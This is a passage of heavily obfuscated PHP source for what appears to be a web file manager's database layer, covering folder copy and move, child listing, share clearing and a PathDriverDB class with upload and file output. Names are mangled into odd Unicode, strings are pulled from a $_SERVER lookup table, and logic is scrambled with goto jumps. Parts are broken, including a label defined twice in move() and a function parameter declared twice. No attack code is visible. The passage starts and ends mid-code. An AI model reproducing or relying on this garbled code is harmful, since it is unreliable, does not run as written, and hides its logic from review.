$this->chunkEventSet($F[511], array($F[512], $eܽɨ, $C޻)); $this->saveAll($dܣ); return $aŶע; goto b; FȽ: $this->addAll($aȎ, array(), !1); $aؾ׉ = $this->where(array($F[457] => $aŶע))->select(); $e = $this->_childrenMakeRelation($bƊ΃, $aؾ׉); goto AǗ; Fװϑ: $eܽɨ = $this->_makeItemData($dӝ, $C펃و, $Dس); Hook::trigger($F[504], $eܽɨ); Hook::trigger($F[505], array($F[506], $eܽɨ, 0)); goto Bॺ; A: $this->_childrenListAll($dퟺ, $bƊ΃); $C޻ = count($bƊ΃); if ($C޻ == 0) { return $aŶע; } goto bՅ; AǗ: $e[$dퟺ] = $aŶע; $d = array(); $dܣ = array(); goto D; bՅ: $dϻ = $this->sourceInfo($aŶע); foreach ($bƊ΃ as $B鈇Ė) { $B = $this->_makeItemData($B鈇Ė, $dϻ, $B鈇Ė[$F[28]]); $B[$F[455]] = $B鈇Ė[$F[455]]; $aȎ[] = $B; } $this->chunkEventSet($F[507], array($F[508], $eܽɨ, $C޻)); goto FȽ; B: if ($dӝ[$F[367]] != $F[83]) { $cֹɇ[$F[497]][] = $dӝ[$F[415]]; return $aŶע; } $bƊ΃ = array(); $aȎ = array(); goto A; D: foreach ($aؾ׉ as $B鈇Ė) { $Cš = $B鈇Ė[$F[366]]; $aǭϬ = $this->_childrenMatch($e, $B鈇Ė, $dϻ); $d[] = array($F[366], $Cš, $F[457], $aǭϬ[$F[457]]); $dܣ[] = array($F[366], $Cš, $F[455], $aǭϬ[$F[455]]); $this->_copyApplyMeta($B鈇Ė, $cֹɇ); if ($B鈇Ė[$F[367]] != $F[83]) { $cֹɇ[$F[497]][] = $B鈇Ė[$F[415]]; } } $this->chunkEventSet($F[509], array($F[510], $eܽɨ, $C޻)); $this->saveAll($d); goto Cŝ; b: } private function _childrenMakeRelation($bܭϏ, $Eٓ) { $C =& $_SERVER[ѽ]; $eЇɫ = array(); $E։ = array(); foreach ($bܭϏ as $F) { $F = $F[$C[28]] . $C[8] . $F[$C[455]]; $eЇɫ[$F] = $F[$C[366]]; } foreach ($Eٓ as $F) { $F = $F[$C[28]] . $C[8] . $F[$C[455]]; $a = $eЇɫ[$F]; $E։[$a] = $F[$C[366]]; } return $E։; } private function _childrenMatch($F͎, $f, $E) { goto DɘƱ; C밷: $fȲ = $cЈ[count($cЈ) - 1]; return array($cΉѭ[457] => $fȲ, $cΉѭ[455] => $D͑ˋѰ); goto bܿ; DɘƱ: $cΉѭ =& $_SERVER[ѽ]; $D͑ˋѰ = $E[$cΉѭ[455]]; $E߅ = $this->parentLevelArray($f[$cΉѭ[455]]); goto c; c: foreach ($E߅ as $C) { if (isset($F͎[$C])) { $D͑ˋѰ .= $F͎[$C] . $cΉѭ[513]; } } $D͑ˋѰ = rtrim($D͑ˋѰ, $cΉѭ[47]) . $cΉѭ[47]; $cЈ = $this->parentLevelArray($D͑ˋѰ); goto C밷; bܿ: } private function _makeItemData($b—喅, $b, $f) { $c㥋緇 =& $_SERVER[ѽ]; $E̒ = array($c㥋緇[514] => $b—喅[$c㥋緇[367]], $c㥋緇[383] => $f, $c㥋緇[515] => $b—喅[$c㥋緇[369]], $c㥋緇[416] => $b—喅[$c㥋緇[415]], $c㥋緇[516] => $b—喅[$c㥋緇[77]], $c㥋緇[517] => $b[$c㥋緇[368]], $c㥋緇[518] => $b[$c㥋緇[452]], $c㥋緇[519] => USER_ID, $c㥋緇[520] => USER_ID, $c㥋緇[365] => $b[$c㥋緇[366]], $c㥋緇[521] => $b[$c㥋緇[455]] . $b[$c㥋緇[366]] . $c㥋緇[47], $c㥋緇[392] => 0, $c㥋緇[522] => $c㥋緇[33]); return $E̒; } private function _copyApplyMeta($ċ, &$Bťɚ) { $bժ =& $_SERVER[ѽ]; $D = $ċ[$bժ[366]]; $A¥ = $ċ[$bժ[28]]; if (!isset($ċ[$bժ[523]]) || !$ċ[$bժ[523]] || $ċ[$bժ[523]] == $bժ[464]) { $Bťɚ[$bժ[499]][] = array($bժ[366], $D, $bժ[523], short_id($D)); } if (Input::check($A¥, $bժ[524])) { $Bťɚ[$bժ[498]][] = array($bժ[366] => $D, $bժ[89] => $bժ[412], $bժ[356] => str_replace($bժ[50], $bժ[33], Pinyin::encode($A¥))); $Bťɚ[$bժ[498]][] = array($bժ[366] => $D, $bժ[89] => $bժ[411], $bժ[356] => Pinyin::encode($A¥, $bժ[525])); } } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($F綎) { goto Fɩ; A֧: $b֫ = array($EЬ[455] => array($EЬ[479], $BՉ[$EЬ[455]] . $F綎 . $EЬ[480]), $EЬ[393] => $this->targetIsDelete); $Bꎥ = $this->field($BŌ)->where($b֫)->select(); if (!$Bꎥ) { return; } goto C; C: $Bꎥ = array_to_keyvalue($Bꎥ, $EЬ[366]); foreach ($Bꎥ as $B؈) { $Fˇ = $B؈[$EЬ[457]]; $F綎 = $B؈[$EЬ[366]]; if (!isset($this->_childrenListCache[$F綎]) && $B؈[$EЬ[367]] == $EЬ[83]) { $this->_childrenListCache[$F綎] = array(); } if (!isset($this->_childrenListCache[$Fˇ])) { $this->_childrenListCache[$Fˇ] = array(); } $this->_childrenListCache[$Fˇ][$F綎] = $B؈; $this->_childrenItemCache[$F綎] = $B؈; } goto dσ; Fɩ: $EЬ =& $_SERVER[ѽ]; $BՉ = $this->sourceInfo($F綎); $BŌ = $EЬ[526]; goto A֧; dσ: } private function _childrenListAll($c, &$eĞփ) { $F =& $_SERVER[ѽ]; if (!isset($this->_childrenListCache[$c])) { return; } $A = $this->_childrenListCache[$c]; foreach ($A as $a䌮© => $f) { $eĞփ[$a䌮©] = $f; if ($f[$F[367]] == $F[83]) { $this->_childrenListAll($a䌮©, $eĞփ); } } } private function sourceInfoCache($f؇) { if (isset($this->_childrenItemCache[$f؇])) { return $this->_childrenItemCache[$f؇]; } return $this->sourceInfo($f؇); } private function _childrenList($A؆־ت) { if (isset($this->_childrenListCache[$A؆־ت])) { return $this->_childrenListCache[$A؆־ت]; } return $this->_childrenListSelect($A؆־ت); } private function _childrenListSelect($F) { goto Bùʣ; b: foreach ($cʎ as $F => $dŽ) { $this->_childrenItemCache[$F] = $dŽ; } return $cʎ; goto a; d͸: $fΊЫ = $fΊЫ ? $fΊЫ : array(); $cʎ = array_to_keyvalue($fΊЫ, $bݼ岋[366]); $this->_childrenListCache[$F] = $cʎ; goto b; Bùʣ: $bݼ岋 =& $_SERVER[ѽ]; $d = array($bݼ岋[457] => $F, $bݼ岋[393] => $this->targetIsDelete); $fΊЫ = $this->where($d)->select(); goto d͸; a: } private function fileNameExistCache($c, $AŊ) { $e볝 =& $_SERVER[ѽ]; $AŊ = strtolower($AŊ); $cٍ = $this->_childrenList($c); foreach ($cٍ as $A◬) { if ($AŊ == strtolower($A◬[$e볝[28]])) { return $A◬[$e볝[366]]; } } return !1; } private function fileNameAutoCache($aݙծ, $bؑ, $F˰, $bԺ) { $D =& $_SERVER[ѽ]; $C = $this->_childrenList($aݙծ); $eߝݏ = array_to_keyvalue($C, $D[33], $D[28]); return $this->fileNameAutoGet($eߝݏ, $bؑ, $F˰, $bԺ); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($eɆ󡅳, $F탲, $B = REPEAT_REPLACE, $Eש = '') { goto Bي; fݟ庾: Model($CϺѯ[164])->linkAdd($a[$CϺѯ[497]]); if ($bګΙ && $a[$CϺѯ[529]]) { $this->removeNow($eɆ󡅳, !1); } $this->lockMoveEnd($eɆ󡅳); goto A; bݯ: $dؔ = $Eש ? $Eש : $D[$CϺѯ[28]]; $this->lockMoveStart($eɆ󡅳); $this->lockWriteStart($F탲, $dؔ); goto aե; aե: $a = array($CϺѯ[497] => array(), $CϺѯ[529] => !1); $this->clearShare($eɆ󡅳, $F탲); $bګΙ = $this->fileNameExistCache($F탲, $D[$CϺѯ[28]]); goto c; Bي: $CϺѯ =& $_SERVER[ѽ]; $D = $this->sourceInfo($eɆ󡅳); $aޣȆ = $this->sourceInfo($F탲); goto bՑ; Cς: Model($CϺѯ[501])->eventMove($eɆ󡅳, $D[$CϺѯ[457]], $F탲); Hook::trigger($CϺѯ[528], $F߃ꏂ); return $Bʰ; goto a; bՑ: $F߃ꏂ = $this->pathInfoMore($eɆ󡅳); if ($this->isParentOf($eɆ󡅳, $F탲)) { return !1; } if (!$D || !$aޣȆ || $aޣȆ[$CϺѯ[367]] != $CϺѯ[83]) { return !1; } goto c; c: $Bʰ = $this->_move($eɆ󡅳, $F탲, $B, $a, $Eש); $this->sourceCacheClear(); if ($D[$CϺѯ[367]] == $CϺѯ[83] && $bګΙ) { $this->folderSizeResetChildren($Bʰ); } goto fݟ庾; c: Hook::trigger($CϺѯ[527], $F߃ꏂ); $this->targetIsDelete = intval($D[$CϺѯ[393]]); if ($D[$CϺѯ[457]] == $F탲 && $Eש != $D[$CϺѯ[28]]) { $B = $this->fileNameExist($F탲, $Eש); if ($B && $D[$CϺѯ[367]] == $CϺѯ[464]) { goto C; a: $this->removeNow($eɆ󡅳, !1); $this->folderSizeReset($F탲); Hook::trigger($CϺѯ[528], $F߃ꏂ); goto d; d: return $B; goto F; C: $CŸĒ = $this->sourceInfo($B); $Fí܍ = $this->fileHistory($CŸĒ, $D[$CϺѯ[415]], $D[$CϺѯ[77]]); if (!$Fí܍) { Model($CϺѯ[418])->remove($D[$CϺѯ[415]]); } goto a; F: } } goto bݯ; A: $this->lockWriteEnd($F탲, $dؔ); $this->folderSizeReset($D[$CϺѯ[457]]); $this->folderSizeReset($F탲); goto cᇭ; cᇭ: $aÚ = array($D[$CϺѯ[457]], $F탲); if ($D[$CϺѯ[367]] == $CϺѯ[83]) { $aÚ[] = $eɆ󡅳; } $this->updateModifyTime($aÚ); goto Cς; a: } private function _move($B, $cε, $CՉ, &$FۦǓ, $e狘 = '') { goto b; b: $E =& $_SERVER[ѽ]; $a = $this->sourceInfo($B); $Aǃ = $a[$E[367]] == $E[83]; goto d𑱆; d𑱆: $dǭ = $e狘 ? $e狘 : $a[$E[28]]; $D = $this->fileNameExistCache($cε, $dǭ); $this->lockMoveStart($B); goto aϏ; eˬڂ: $A£ʐ = !1; if ($Aǃ) { if ($CՉ == REPEAT_RENAME_FOLDER) { $dǭ = $this->fileNameAuto($cε, $dǭ, $CՉ, $Aǃ); $eͰȏ = $this->_moveForce($B, $cε, $dǭ); } else { if ($CՉ == REPEAT_RENAME_FOLDER) { $CՉ = REPEAT_RENAME; } $eԲ󅲲 = $this->_childrenListSelect($B); foreach ($eԲ󅲲 as $Aό嶇) { $this->_move($Aό嶇[$E[366]], $D, $CՉ, $FۦǓ); } $A£ʐ = !0; } } else { if ($CՉ == REPEAT_SKIP) { $A£ʐ = !0; } else { if ($CՉ == REPEAT_RENAME || $CՉ == REPEAT_RENAME_FOLDER) { $dǭ = $this->fileNameAuto($cε, $dǭ, $CՉ, $Aǃ); $eͰȏ = $this->_moveForce($B, $cε, $dǭ); } else { if ($CՉ == REPEAT_REPLACE) { $C򟻾 = $this->sourceInfoCache($D); $a˪ = $this->fileHistory($C򟻾, $a[$E[415]], $a[$E[77]]); if ($a˪) { $FۦǓ[$E[497]][] = $a[$E[415]]; } else { $A£ʐ = !0; } } } } } if ($A£ʐ && !$FۦǓ[$E[529]]) { $FۦǓ[$E[529]] = !0; } goto D; D: return $eͰȏ; goto cӘɠ; aϏ: $this->lockWriteStart($cε, $dǭ); if (!$D) { return $this->_moveForce($B, $cε, $dǭ); } $eͰȏ = $D; goto eˬڂ; cӘɠ: } private function _moveForce($A֫, $F낈, $Cܹ) { goto a; cķ: $E = $CꚔ[$B[367]] == $B[83]; $Cԏʓ = array($B[365] => $e[$B[366]], $B[521] => $e[$B[455]] . $e[$B[366]] . $B[47], $B[517] => $e[$B[368]], $B[518] => $e[$B[452]], $B[520] => USER_ID, $B[383] => $Cܹ); $D؅՞ = $CꚔ[$B[368]] == SourceModel::TYPE_GROUP && $e[$B[368]] == SourceModel::TYPE_GROUP && $CꚔ[$B[452]] == $e[$B[452]]; goto aڱͼ; a: $B =& $_SERVER[ѽ]; $CꚔ = $this->sourceInfo($A֫); $e = $this->sourceInfo($F낈); goto cķ; aꇾ: if ($E) { $A = array($B[521] => array($B[479], $CꚔ[$B[455]] . $CꚔ[$B[366]] . $B[480])); $D = $CꚔ[$B[455]] . $CꚔ[$B[366]] . $B[47]; $c܅ = $e[$B[455]] . $e[$B[366]] . $B[47] . $CꚔ[$B[366]] . $B[47]; $Cə = array($B[521] => array($B[530], "\x72\x65\x70\x6c\x61\x63\x65\50\160\x61\162\145\156\x74\x4c\x65\x76\145\x6c\x2c\x27{$D}\47\x2c\x27{$c܅}\x27\x29"), $B[517] => $e[$B[368]], $B[518] => $e[$B[452]]); if ($D) { $Cə[$B[392]] = 0; } $this->where($A)->data($Cə)->save(); } $this->where(array($B[380] => $A֫))->data($Cԏʓ)->save(); return $A֫; goto aΓ; aڱͼ: if (!$D؅՞) { Model($B[450])->authClear($A֫); } $D = $CꚔ[$B[393]] == $B[83] && $e[$B[393]] != $B[83]; if ($D) { $Cԏʓ[$B[392]] = 0; } goto aꇾ; aΓ: } private function clearShare($b㈊, $A) { goto B˻ڹ; B˻ڹ: $dا =& $_SERVER[ѽ]; $a = $this->sourceInfo($b㈊); $Eѓˏ = $this->sourceInfo($A); goto cͣ; AМ: if (!$E扃) { return; } $E扃 = array_to_keyvalue($E扃, $dا[33], $dا[437]); $DⰍ = array($dا[437] => array($dا[7], $E扃)); goto D鰏; cͣ: if ($a[$dا[452]] == $Eѓˏ[$dا[452]] && $a[$dا[368]] == $dا[531]) { return; } $DⰍ = array($dا[455] => array($dا[479], $a[$dا[455]] . $b㈊ . $dا[480])); $CȬ = $this->field($dا[380])->where($DⰍ)->getField($dا[366], !0); goto E; D鰏: Model($dا[532])->where($DⰍ)->save(array($dا[444] => 0)); Model($dا[533])->where($DⰍ)->delete(); goto Eϕ; E: if (!$CȬ) { return; } $DⰍ = array($dا[366] => array($dا[7], $CȬ), $dا[444] => 1); $E扃 = Model($dا[532])->field($dا[437])->where($DⰍ)->select(); goto AМ; Eϕ: } public function copyFolderFromIO($EΨ, $b, $D™ԗ, $E, $Aӈ۬, $F儔 = false) { goto Bݐ; Bͪdz: Hook::trigger($B܍[536]); if ($bٔ) { $this->folderSizeResetChildren($bٔ); } $this->_childrenListClear(); goto DӉ߉; Fܨ: if ($B) { $this->_childrenAllMake($B); } Hook::trigger($B܍[535]); $this->_copyChildTo($EΨ, $b, $bٔ, $E, $aчѝ, $Aӈ۬); goto Bͪdz; cҾ: Model($B܍[418])->linkAdd($aчѝ[$B܍[497]]); Model($B܍[418])->remove($aчѝ[$B܍[534]]); $this->folderSizeReset($D™ԗ); goto f攴; Bݐ: $B܍ =& $_SERVER[ѽ]; $aчѝ = array($B܍[498] => array(), $B܍[499] => array(), $B܍[497] => array(), $B܍[534] => array()); $EƷ = $F儔 ? $F儔 : $EΨ->getPathName($EΨ->pathThis($b)); goto e; DӉ߉: Model($B܍[500])->addAll($aчѝ[$B܍[498]], array(), !0); Model($B܍[501])->eventCopy($bٔ); $this->saveAll($aчѝ[$B܍[499]]); goto cҾ; e: $B = $this->fileNameExist($D™ԗ, $EƷ); $bٔ = $this->mkdir($D™ԗ, $EƷ, $E); if (!$B || $E == REPEAT_RENAME_FOLDER) { $E = !1; } goto Fܨ; f攴: $this->updateModifyTime($D™ԗ); return $bٔ; goto D̗; D̗: } private function _copyChildTo($aß, $B֛, $Eӊ, $a͚, &$f, $d҅Ѧ) { goto FŽ; e䨈ǯ: foreach ($B哌 as &$C֡) { goto a; c: $C֡[$E͊[77]] = _get($C֡, $E͊[77], 0); $C֡[$E͊[415]] = _get($C֡, $E͊[415], 0); if (!isset($C֡[$E͊[537]]) && $C֡[$E͊[415]]) { $f[$E͊[534]][] = $C֡[$E͊[415]]; } goto D; D: if ($a͚) { $EȊ֐ = $this->fileNameExistCache($Eӊ, $C֡[$E͊[28]]); if ($EȊ֐) { if ($C֡[$E͊[367]] || $a͚ == REPEAT_SKIP) { continue; } if ($a͚ == REPEAT_REPLACE) { $b㞒 = $this->sourceInfoCache($EȊ֐); $C = $this->fileHistory($b㞒, $C֡[$E͊[415]], $C֡[$E͊[77]]); if ($C) { $f[$E͊[497]][] = $C֡[$E͊[415]]; } continue; } else { if ($a͚ == REPEAT_RENAME) { $C֡[$E͊[28]] = $this->fileNameAutoCache($Eӊ, $C֡[$E͊[28]], $a͚, !1); } } } } if (!$C֡[$E͊[367]] && $C֡[$E͊[415]]) { $f[$E͊[497]][] = $C֡[$E͊[415]]; } $eȢ֍[] = $this->_makeItemData($C֡, $B, $C֡[$E͊[28]]); goto FΎԝ; a: if (isset($f[$C֡[$E͊[28]]])) { $C֡ = $f[$C֡[$E͊[28]]]; } $C֡[$E͊[367]] = $C֡[$E͊[29]] == $E͊[76]; $C֡[$E͊[369]] = _get($C֡, $E͊[157], $E͊[33]); goto c; FΎԝ: } unset($C֡); if (!empty($eȢ֍)) { $this->addAll($eȢ֍); } goto BЎ; BЎ: $B̜ = $this->_childrenList($Eӊ); $B̜ = array_to_keyvalue($B̜, $E͊[28]); foreach ($B哌 as $C֡) { $b㞒 = $B̜[$C֡[$E͊[28]]]; $a = $b㞒[$E͊[366]]; $this->_copyApplyMeta($b㞒, $f); if ($C֡[$E͊[29]] == $E͊[76]) { $C֡[$E͊[75]] = $aß->getPathInner($C֡[$E͊[75]]); $this->_copyChildTo($aß, $C֡[$E͊[75]], $a, $a͚, $f, $d҅Ѧ); } } goto DݴȜ; a: $B哌 = array_merge($B[$E͊[73]], $B[$E͊[74]]); $f = $this->_addFiles($aß, $B[$E͊[73]], $d҅Ѧ); $eȢ֍ = array(); goto e䨈ǯ; FŽ: $E͊ =& $_SERVER[ѽ]; $B = $this->sourceInfoCache($Eӊ); $B = $aß->listPath($B֛, !1, !0); goto a; DݴȜ: } private function _addFiles($F좠, $A̗, $DΆ) { goto aĭܐ; bׇ: $D = $E->where($a)->select(); $D = $D ? $D : array(); foreach ($D as $dц) { if (!isset($A[$dц[$AΩ[160]]])) { continue; } $Aͷ = $A[$dц[$AΩ[160]]]; foreach ($Aͷ as &$aϓ) { $aϓ[$AΩ[415]] = $dц[$AΩ[415]]; $aϓ[$AΩ[537]] = !0; } unset($aϓ); } goto d; aĭܐ: $AΩ =& $_SERVER[ѽ]; if (!$A̗ || count($A̗) == 0) { return array(); } $A = array(); goto Cߞ; DڤƸ: $a = array($AΩ[160] => array($AΩ[7], array_keys($A))); $D = $E->where($a)->select(); $D = $D ? $D : array(); goto a݋; c: return $aͽ㯤; goto EŞ; Cߞ: foreach ($A̗ as &$aϓ) { goto f; b˘ԋ: $aϓ[$AΩ[160]] = $c޹; Hook::trigger($AΩ[539], $aϓ); $A[$c޹][] =& $aϓ; goto AѠ; f: Hook::trigger($AΩ[538], $aϓ); $aϓ[$AΩ[75]] = $F좠->getPathInner($aϓ[$AΩ[75]]); $Bߞֳ = $F좠->hashSimple($aϓ[$AΩ[75]]); goto e; AѠ: if (count($A[$c޹]) > 1) { $aϓ[$AΩ[537]] = !0; } goto c; e: $c޹ = $F좠->hashMd5($aϓ[$AΩ[75]]); if (strlen($c޹) > 10 && !isset($A[$c޹])) { $A[$c޹] = array(); } $aϓ[$AΩ[161]] = $Bߞֳ; goto b˘ԋ; c: } $a = array($AΩ[160] => array($AΩ[7], array_keys($A))); $E = Model($AΩ[540]); goto bׇ; d: $aܬ޶ = array(); foreach ($A̗ as $e) { if (isset($e[$AΩ[537]]) && $e[$AΩ[537]]) { continue; } $FἻ = $F좠->getPathInner($e[$AΩ[75]]); $F߶ݦ = $E->addFileMake($FἻ, $e[$AΩ[77]], $e[$AΩ[161]], $e[$AΩ[160]], $e[$AΩ[28]], $DΆ); $aܬ޶[] = $F߶ݦ; } $E->addAll($aܬ޶); goto DڤƸ; a݋: foreach ($D as $dц) { if (!isset($A[$dц[$AΩ[160]]])) { continue; } $EЩɭ =& $A[$dц[$AΩ[160]]]; foreach ($EЩɭ as &$aϓ) { $aϓ[$AΩ[415]] = $dц[$AΩ[415]]; } unset($aϓ); } $aͽ㯤 = array(); foreach ($A̗ as $e㿲) { $aͽ㯤[$e㿲[$AΩ[28]]] = $e㿲; } goto c; EŞ: } } define($_SERVER[ѽ][541], $_SERVER[ѽ][542]); goto fܴ̂; Dҧ: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($d헢) { $this->pathParse = $d헢; $this->model = Model($_SERVER[ѽ][1114]); } public function getPath($Dݫ) { return trim($Dݫ, $_SERVER[ѽ][8]); } public function pathFather($c٢) { $eӦȄ = $this->parse($c٢); $eӦȄ = $this->infoSimple($c٢); return $eӦȄ ? $eӦȄ[$_SERVER[ѽ][457]] : !1; } public function getPathName($AՒ) { $A = $this->infoSimple($AՒ); return $A ? $A[$_SERVER[ѽ][28]] : !1; } public function getPathOuter($e򭴮) { if (!$e򭴮) { return $e򭴮; } $F׿ = $this->parse($e򭴮); return KodIO::make($F׿[$_SERVER[ѽ][364]]); } public function copyFolderFromIO($EǦˣ, $E굈, $eۖ, $F, $c) { $aݗ = $this->model->copyFolderFromIO($EǦˣ, $E굈, $eۖ, $F, $c); return KodIO::make($aݗ); } public function isParentOf($D̎֏, $Eӥ) { return $this->model->isParentOf($D̎֏, $Eӥ); } public function mkfile($fΛڢ, $flj˟ = '', $Fت = REPEAT_RENAME) { $eİ۞ =& $_SERVER[ѽ]; $f軐 = $this->parse($fΛڢ); $fΛڢ = $f軐[$eİ۞[364]]; for ($fɢ = 0; $fɢ < count($f軐[$eİ۞[1115]]); $fɢ++) { $eݶ = $f軐[$eİ۞[1115]][$fɢ]; if ($fɢ == count($f軐[$eİ۞[1115]]) - 1) { $fΛڢ = $this->model->mkfile($fΛڢ, $eݶ, $flj˟, $Fت); break; } $fΛڢ = $this->model->mkdir($fΛڢ, $eݶ, REPEAT_SKIP); } return $this->getPathOuter($fΛڢ); } public function mkdir($d󄮌, $B = REPEAT_SKIP) { $e =& $_SERVER[ѽ]; $D = $this->parse($d󄮌); $d󄮌 = $D[$e[364]]; for ($c = 0; $c < count($D[$e[1115]]); $c++) { $fज = $D[$e[1115]][$c]; $d󄮌 = $this->model->mkdir($d󄮌, $fज, $B); } return $this->getPathOuter($d󄮌); } public function copyFile($b, $f, $A򯔄 = REPEAT_REPLACE) { $B׉ =& $_SERVER[ѽ]; $Fÿ = $this->parse($f); $B㍩Տ = $this->model->copy($b, $Fÿ[$B׉[364]], $A򯔄, $Fÿ[$B׉[75]]); return $B㍩Տ ? $this->getPathOuter($B㍩Տ) : !1; } public function moveFile($Dԉϲ, $EѦ, $B = REPEAT_REPLACE) { $bϊ͝ =& $_SERVER[ѽ]; $D߯ = $this->parse($EѦ); $F = $this->model->move($Dԉϲ, $D߯[$bϊ͝[364]], $B, $D߯[$bϊ͝[75]]); return $F ? $this->getPathOuter($F) : !1; } public function copy($eĜ, $D吣, $C橼 = REPEAT_REPLACE) { $C = $this->parse($D吣); $d = $this->model->copy($eĜ, $C[$_SERVER[ѽ][364]], $C橼); return $d ? $this->getPathOuter($d) : !1; } public function move($Dχھ, $eśŇ, $eЯ = REPEAT_REPLACE) { $Fҹ = $this->parse($eśŇ); $f = $this->model->move($Dχھ, $Fҹ[$_SERVER[ѽ][364]], $eЯ); return $f ? $this->getPathOuter($f) : !1; } public function remove($a柮Ý, $C܄㹳 = true) { return $this->model->remove($a柮Ý, $C܄㹳); } public function rename($aް, $e) { $fޕʴ = $this->model->rename($aް, $e); return $fޕʴ ? $this->getPathOuter($aް) : $fޕʴ; } public function size($c) { $b矞 = $this->infoSimple($c); return $b矞 ? $b矞[$_SERVER[ѽ][77]] : 0; } public function infoSimple($C򄗷х) { return $this->model->sourceInfo($C򄗷х); } public function info($AЍԨ) { return $this->infoParse($AЍԨ); } public function infoAuth($B̦) { return $this->infoParse($B̦, !1, !0); } public function infoWithChildren($F猦) { return $this->infoParse($F猦, !0); } protected function infoParse($E̦, $E삯 = false, $dĝ = false) { if (!$E삯) { return $this->model->pathInfo($E̦, $dĝ); } return $this->model->pathInfoMore($E̦); } public function infoFull($a) { $e =& $_SERVER[ѽ]; $D = explode($e[8], $a); $dуƶ = implode($e[8], array_splice($D, 1)); return $this->model->pathInfoByPath($D[0], $dуƶ); } public function hashSimple($A疦) { $bĵ =& $_SERVER[ѽ]; $Bݜж = $this->infoWithChildren($A疦); return $Bݜж[$bĵ[159]][$bĵ[161]]; } public function hashMd5($c) { $E͞ =& $_SERVER[ѽ]; $CΊ釬 = $this->infoWithChildren($c); return $CΊ釬[$E͞[159]][$E͞[160]]; } public function exist($f֫) { $D˂ =& $_SERVER[ѽ]; $fʠ = $this->parse($f֫); if (!$fʠ[$D˂[75]]) { return $this->isFile($f֫) || $this->isFolder($f֫); } $f = array($D˂[365] => $fʠ[$D˂[364]], $D˂[28] => $fʠ[$D˂[75]]); $F = $this->model->where($f)->find(); return $F ? !0 : !1; } public function isFile($dDŽ) { $e忒 =& $_SERVER[ѽ]; $Aّ = $this->infoSimple($dDŽ); return $Aّ && $Aّ[$e忒[367]] == $e忒[83] ? !1 : !0; } public function isFolder($Aϯ֡ߗ) { $E֦м =& $_SERVER[ѽ]; $D = $this->infoSimple($Aϯ֡ߗ); return $D && $D[$E֦м[367]] == $E֦м[83] ? !0 : !1; } public function listPath($e, $bЉ = false) { $bء̡ =& $_SERVER[ѽ]; if ($e == $bء̡[33]) { return !1; } $bŽ = array($bء̡[365] => $e); if ($bЉ) { return $this->model->listSource($bŽ, -1); } return $this->model->listSource($bŽ); } public function has($Eܘ, $d⢴ = false, $Fٸ = null) { $Fю񱊪 =& $_SERVER[ѽ]; $e➿ = $this->infoWithChildren($Eܘ); if ($d⢴) { return array($Fю񱊪[189] => $e➿[$Fю񱊪[189]], $Fю񱊪[188] => $e➿[$Fю񱊪[188]]); } return $Fٸ ? $e➿[$Fю񱊪[189]] : $e➿[$Fю񱊪[188]]; } public function listAll($eֻ) { $fޗ = IO::info($this->pathParse[$_SERVER[ѽ][75]]); if (!$fޗ) { return array(); } return $this->model->listAll($eֻ); } public function getContent($eͦ) { return $this->model->getContent($eͦ); } public function setContent($a񃜭, $f = '') { return $this->model->setContent($a񃜭, $f); } public function fileSubstr($fȖ, $FӺ, $BƧ) { return $this->model->fileSubstr($fȖ, $FӺ, $BƧ); } public function download($A, $cֱ = '') { $f = get_path_father($cֱ); $bב = get_path_this($cֱ); $aݹ = $this->model->fileInfoGet($A); $BԴ = IO::copy($aݹ[$_SERVER[ѽ][75]], $f, !1, $bב); return $BԴ; } public function upload($E͹, $fӇ, $EϘ = false, $c̅ = REPEAT_REPLACE) { $C֜Ϋ =& $_SERVER[ѽ]; $E = $this->parse($E͹); $AÏߠ = $this->model->addFile($E[$C֜Ϋ[364]], $fӇ, $E[$C֜Ϋ[75]], $EϘ, $c̅); return $this->getPathOuter($AÏߠ); } public function uploadFileByID($eٕɇ, $dל, $E𧩍) { $d䜋 =& $_SERVER[ѽ]; $EҼ = $this->parse($eٕɇ); $cÎ = $this->model->addFileByFileID($EҼ[$d䜋[364]], $dל, $EҼ[$d䜋[75]], $E𧩍); return $this->getPathOuter($cÎ); } public function addFileByRemote($BϞ뉵, $eՓ, $B = array(), $e = '', $B) { $aʫʅ =& $_SERVER[ѽ]; $Fԓ = $this->parse($BϞ뉵); $e = empty($e) ? $Fԓ[$aʫʅ[75]] : $e; $dԂ = $this->model->addFileByRemote($Fԓ[$aʫʅ[364]], $eՓ, $e, $B, $B); return $this->getPathOuter($dԂ); } public function uploadLink($DŭᏵ, $Cͧ񮭌 = 0) { $A륊 =& $_SERVER[ѽ]; $a굦 = $this->parse($DŭᏵ); $DŭᏵ = Model($A륊[540])->createFileName($a굦[$A륊[75]]); $D᧏ = IO::uploadLink($DŭᏵ, $Cͧ񮭌); return $D᧏; } public function fileNameAuto($aλ, $bɂȟ, $C = REPEAT_REPLACE, $d = false) { return $this->model->fileNameAuto($aλ, $bɂȟ, $C, $d); } public function fileNameExist($eһǿ, $f) { return $this->model->fileNameExist($eһǿ, $f); } protected function _fileOut($bʏϭ, $ačʧݚ = false, $CǾ = false, $e = '', $C֊ = false) { goto E͹; c졖ڙ: $E = $this->model->fileInfoGet($bʏϭ); $e = $E[$bĄ[160]] ? $E[$bĄ[160]] : $e; $eĔ = isset($GLOBALS[$bĄ[1117]]) ? $GLOBALS[$bĄ[1117]] : $e߻[$bĄ[28]]; goto bީ; bީ: if ($C֊) { return IO::fileOutServer($E[$bĄ[75]], $ačʧݚ, $eĔ, $e); } IO::fileOut($E[$bĄ[75]], $ačʧݚ, $eĔ, $e); goto bѦ; E͹: $bĄ =& $_SERVER[ѽ]; $e߻ = $this->model->sourceInfo($bʏϭ); if ($e߻[$bĄ[367]] == $bĄ[83]) { header($bĄ[1116]); die; } goto c졖ڙ; bѦ: } public function fileOut($cι, $e = false, $Fݕ = false, $e死ϋ = '') { $this->_fileOut($cι, $e, $Fݕ, $e死ϋ); } public function fileOutServer($cі, $D = false, $a˅Ȱ = false, $Eǃۤ = '') { $this->_fileOut($cі, $D, $a˅Ȱ, $Eǃۤ, !0); } protected function _fileOutImage($b, $f = 250) { $D瑽 =& $_SERVER[ѽ]; $F = $this->model->sourceInfo($b); if ($F[$D瑽[367]] == $D瑽[83]) { show_json($D瑽[1118] . $b, !1); } $GLOBALS[$D瑽[1117]] = $F[$D瑽[28]]; $EƒІժ = $this->model->fileInfoGet($b); IO::fileOutImage($EƒІժ[$D瑽[75]], $f); } public function fileOutImage($E, $cП = 250) { 